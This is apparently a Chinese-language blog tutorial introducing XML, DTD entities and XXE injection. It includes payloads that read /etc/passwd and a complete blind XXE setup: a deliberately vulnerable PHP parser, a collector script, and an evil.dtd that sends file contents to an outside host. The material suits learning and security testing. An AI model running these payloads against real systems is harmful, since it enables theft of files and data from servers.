从零学习XXE

最近看到很多XXE注入,那么来学习一波


XXE注入是啥?

XXE注入:XML外部实体注入(XML External Entity Injection)

XML又是啥?

XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据)

可扩展标记语言是一种很像超文本标记语言的标记语言。
它的设计宗旨是传输数据,而不是显示数据。
它的标签没有被预定义。您需要自行定义标签。
它被设计为具有自我描述性。
它是W3C的推荐标准。

可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计

它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观

XML的作用

XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使 用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元 素名(从数据库)来存取XML数据。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->

详解DTD

DTD的作用

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
内部声明DTD

1
<!DOCTYPE 根元素 [元素声明]>

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

一个内部实体声明

1
<!ENTITY 实体名称 "实体的值">

例子
DTD:

1
<!ENTITY writer "me">

XML:

1
<author>&writer;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

或者

1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子
DTD:

1
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

XML:

1
<author>&writer;</author>

XXE注入

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,如下

外部实体注入方法一

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY evil SYSTEM "file:///etc/passwd">
]>
<show>&evil;</show>

外部实体注入方法二

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % ccc SYSTEM "http://example.com/dtd/evil.dtd">
%ccc;
]>
<show>&evil;</show>

解释下这里的%:参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
evil.dtd内容为

1
<!ENTITY evil SYSTEM "file:///etc/passwd">

外部实体注入方法三

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test SYSTEM "http://example.com/dtd/evil.dtd">
<show>&evil;</show>

evil.dtd内容为

1
<!ENTITY evil SYSTEM "file:///etc/passwd">

不同的程序可以支持不同的协议(不止file协议)
如php默认支持的协议有:
file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar
php中有一些可以解析XML的函数:PHP中的XML解析的5种方法
其中simplexml_load函数在部分php版本中会默认自动解析外部实体
XXE注入的危害及防御

Blind XXE注入

XXE漏洞以及Blind XXE总结
Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体和内部参数实体

上文有提到过:参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
如下:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % param1 "<!ENTITY param2 'XXE'>">
%param1;
]>
<show>
I am studying &param2;
</show>

Blind XXE测试

存在漏洞的服务器上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//下面<<<EOT后面不能有空格
$xml=<<<EOF
<!DOCTYPE test[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://example.com/dtd/evil.dtd">
%dtd;
%evil;
]>
EOF; //注意末尾的结束符必须靠边,其前面不能有空格
$data = simplexml_load_string($xml);
echo "<pre>";
print_r($data);
?>

自己的服务器上 xxe.php:

1
2
3
<?php
file_put_contents("xxe.txt", $_GET['file']) ;
?>

自己的服务器上 evil.dtd:

1
2
3
4
<!ENTITY % c014
"<!ENTITY % evil SYSTEM 'http://example.com/xxe.php?file=%file;'>"
>
%c014;

文章目录
  1. 1. XXE注入是啥?
  2. 2. XML又是啥?
    1. 2.1. XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据)
    2. 2.2. 可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
    3. 2.3. XML的作用
    4. 2.4. XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
  3. 3. 详解DTD
    1. 3.1. DTD的作用
    2. 3.2. 一个内部实体声明
    3. 3.3. 一个外部实体声明
  4. 4. XXE注入
    1. 4.1. 外部实体注入方法一
    2. 4.2. 外部实体注入方法二
    3. 4.3. 外部实体注入方法三
  5. 5. Blind XXE注入
    1. 5.1. 参数实体和内部参数实体
    2. 5.2. Blind XXE测试